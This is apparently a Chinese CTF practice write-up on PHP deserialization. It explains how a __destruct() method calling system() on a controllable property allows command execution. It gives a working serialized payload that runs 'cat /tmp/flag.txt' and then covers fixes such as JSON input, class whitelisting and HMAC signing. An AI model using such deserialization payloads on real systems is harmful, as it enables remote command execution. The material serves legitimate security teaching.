【好靶场】PHP反序列化入门练习2

【好靶场】PHP反序列化入门练习2

本文仅用于授权靶场、CTF 练习和本地安全学习,禁止用于未授权测试。

前置知识

学习本题前,需要掌握 PHP 魔术方法与反序列化命令执行相关基础。

1. PHP 魔术方法 __destruct()

__destruct() 是PHP的析构魔术方法:当对象销毁时(脚本执行结束、对象被回收)会自动调用

如果这个方法内部使用了危险函数(system() / exec() 等)执行对象可控的属性,攻击者就可以通过构造反序列化字符串,传入恶意命令实现命令执行。

2. 序列化基础标识回顾

  • O:Object 对象;格式 O:类名长度:"类名":属性数量:{属性键值对}
  • s:String 字符串;格式 s:字节长度:"字符串内容">

⚠️ 重点:字符串声明长度必须和实际字节严格一致,否则反序列化失败

3. public 属性序列化规则

public 公有属性序列化直接写属性原始名称,无需额外不可见字符,构造Payload更简单。

示例:

复制代码
class Demo{
    public $cmd = "echo test";
}

序列化结果:O:4:"Demo":1:{s:3:"cmd";s:9:"echo test";}


一、题目源码与解题思路

靶场给出源码:

复制代码
<?php
class ExecCmd {
    public $cmd = "echo 'test'";
    public function __destruct() {
        system($this->cmd);
    }
}
?>

靶场功能:接收用户提交的序列化字符串,调用unserialize()还原对象,脚本结束自动触发__destruct(),执行system()运行$cmd内的系统命令。

挑战目标:读取 /tmp/flag.txt 获取 flag。

解题流程:

复制代码
找到 ExecCmd 类
        ↓
修改公有属性 $cmd 的值为 cat /tmp/flag.txt
        ↓
使用 serialize() 生成恶意序列化Payload
        ↓
提交序列化字符串到靶场
        ↓
unserialize 还原对象 → 脚本结束触发 __destruct()
        ↓
system() 执行 cat /tmp/flag.txt,输出flag

二、完整Payload构造代码

php 复制代码
<?php
class ExecCmd {
    public $cmd = "echo 'test'";
    public function __destruct() {
        system($this->cmd);
    }
}
// 实例化对象
$obj = new ExecCmd();
// 覆盖cmd属性为读取flag的命令
$obj->cmd = "cat /tmp/flag.txt";
// 生成序列化payload
$payload = serialize($obj);
echo $payload;
// 本地验证反序列化
$unser_obj = unserialize($payload);
?>

运行输出Payload:

复制代码
O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

三、Payload逐段格式分析

Payload:O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

片段 含义
O:7:"ExecCmd" 对象,类名ExecCmd共7个字符
1 对象包含 1 个属性
s:3:"cmd" 属性名cmd,字符串长度3
s:17:"cat /tmp/flag.txt" 属性值命令cat /tmp/flag.txt,总字节长度17

易错点:

命令 cat /tmp/flag.txt 字符计数:

c a t / t m p / f l a g . t x t 一共 17 个字节

如果长度写错(比如写成s:16),反序列化直接返回false,命令不会执行。


四、提交Payload获取Flag

将生成的序列化字符串填入靶场【序列化字符串】输入框提交:

复制代码
O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

靶场执行流程:

  1. 接收用户传入序列化字符串
  2. unserialize() 还原得到 ExecCmd 对象,$cmd = "cat /tmp/flag.txt"
  3. 页面加载完毕,PHP回收对象,自动执行 __destruct()
  4. system($this->cmd) 执行读取文件命令,返回flag
复制代码
flag{5eff7b83b9d345269574eb136e9fa1b4}

五、漏洞考点

本题属于 PHP反序列化魔术方法触发命令执行 基础题型,考点:

  1. 理解析构魔术方法 __destruct() 的自动触发时机
  2. 可控序列化数据 → 篡改对象公有属性
  3. 危险函数 system() 配合可控参数造成远程命令执行(RCE)
  4. 严格遵守序列化字符串长度规则

和上一篇练习对比区别:

  • 练习1:仅篡改属性做业务判断,无代码执行风险
  • 练习2:篡改属性后触发魔术方法+危险函数,直接命令执行,危害更大

六、漏洞修复与源码整改

漏洞成因:外部可控序列化数据直接传入unserialize(),类内析构方法存在危险系统调用,攻击者可控制传入命令。

修复方案1:禁止直接使用unserialize接收外部用户输入(最优)

业务数据优先使用 JSON / XML 传输,JSON不会自动实例化对象,不存在魔术方法自动触发风险。

php 复制代码
// 改用json传输参数,不使用unserialize
$input = $_GET['data'] ?? '';
$data = json_decode($input,true);
$cmd = $data['cmd'] ?? '';
// 命令做严格白名单过滤,不允许任意系统命令
$allow_cmd = ['ls','whoami'];
if(!in_array($cmd,$allow_cmd)){
    exit("非法命令");
}
system($cmd);

修复方案2:必须使用序列化时,限制类+参数校验

php 复制代码
<?php
class ExecCmd {
    public $cmd = "echo 'test'";
    public function __destruct() {
        // 增加命令白名单,禁止任意命令执行
        $safe_cmd = ["echo 'test'"];
        if(in_array($this->cmd,$safe_cmd)){
            system($this->cmd);
        }
    }
}
$ser_data = $_GET['data'] ?? '';
// 限制允许反序列化的类
$obj = unserialize($ser_data,[
    'allowed_classes' => ['ExecCmd']
]);
// 二次校验属性值,禁止用户可控自定义命令
if($obj instanceof ExecCmd && $obj->cmd !== "echo 'test'"){
    exit("非法参数");
}
?>

修复方案3:序列化数据增加HMAC签名防篡改

序列化前由服务端生成密钥签名,传输时携带签名,反序列化前先验签,一旦Payload被篡改直接拦截,从源头阻止Payload修改。

php 复制代码
<?php
$secret_key = "server_secure_key_2026";
$ser_data = $_GET['data'] ?? '';
$sign = $_GET['sign'] ?? '';
$expect_sign = hash_hmac("sha256",$ser_data,$secret_key);
if(!hash_equals($expect_sign,$sign)){
    exit("数据被篡改,拒绝请求");
}
$obj = unserialize($ser_data,['allowed_classes' => ['ExecCmd']]);
?>

修复建议总结

  1. 尽量避免将用户可控数据传入 unserialize()
  2. 若业务强制使用序列化:配置 allowed_classes 做类白名单;
  3. 所有执行系统命令的函数,必须做命令白名单,绝对不能直接使用用户传入字符串;
  4. 序列化数据增加 HMAC 完整性校验,防止篡改;
  5. 禁用危险函数:php.ini 中可通过 disable_functions 禁用 system、exec、shell_exec 等命令执行函数。

总结

本题完整利用链路:

复制代码
可控序列化字符串 → unserialize 构造恶意对象 → 对象销毁触发 __destruct() → system 执行恶意命令 → 文件读取

Payload核心:

复制代码
O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

这道题是PHP反序列化RCE最基础的原型,后续复杂POP链漏洞,本质都是寻找可以自动触发的魔术方法+可控参数+危险函数,和本题原理一致。

相关推荐
NoteStream1 小时前
MATLAB绘制带置信区间的折线散点图(科研绘图模板)
开发语言·matlab
PHP实战开发录1 小时前
微信小程序多环境配置混用排查记录
微信小程序·php·开发·接口隔离原则
tianyu2342 小时前
Java 正则表达式终极指南:从 Pattern 到 Matcher,从双重转义到性能优化,一篇全搞定
java·开发语言·正则表达式·group·find·pattern·matcher
垂钓的小鱼14 小时前
用关联图谱做量化选股:让基本面惊喜沿着网络扩散
服务器·php·apache
caimouse4 小时前
ReactOS 窗口系统分析(23):键盘 — keyboard.c + kbdlayout.c
c语言·开发语言·计算机外设
Emily156853598705 小时前
Emerson 1C31129G03 Analog Input Module
java·开发语言·前端·plc·emerson·1c31129g03·input module
就叫_这个吧9 小时前
Java递归方法实现面包屑导航
java·开发语言
fīɡЙtīиɡ ℡10 小时前
AI 应用系统设计
java·开发语言·人工智能
Chengbei1110 小时前
DSH渗透测试插件dsh-pentest全新升级!适配DeepSeek Harness,可视化探索链路,一键搭建轻量化AI渗透测试环境。
人工智能·web安全·网络安全·微信·小程序·系统安全·安全架构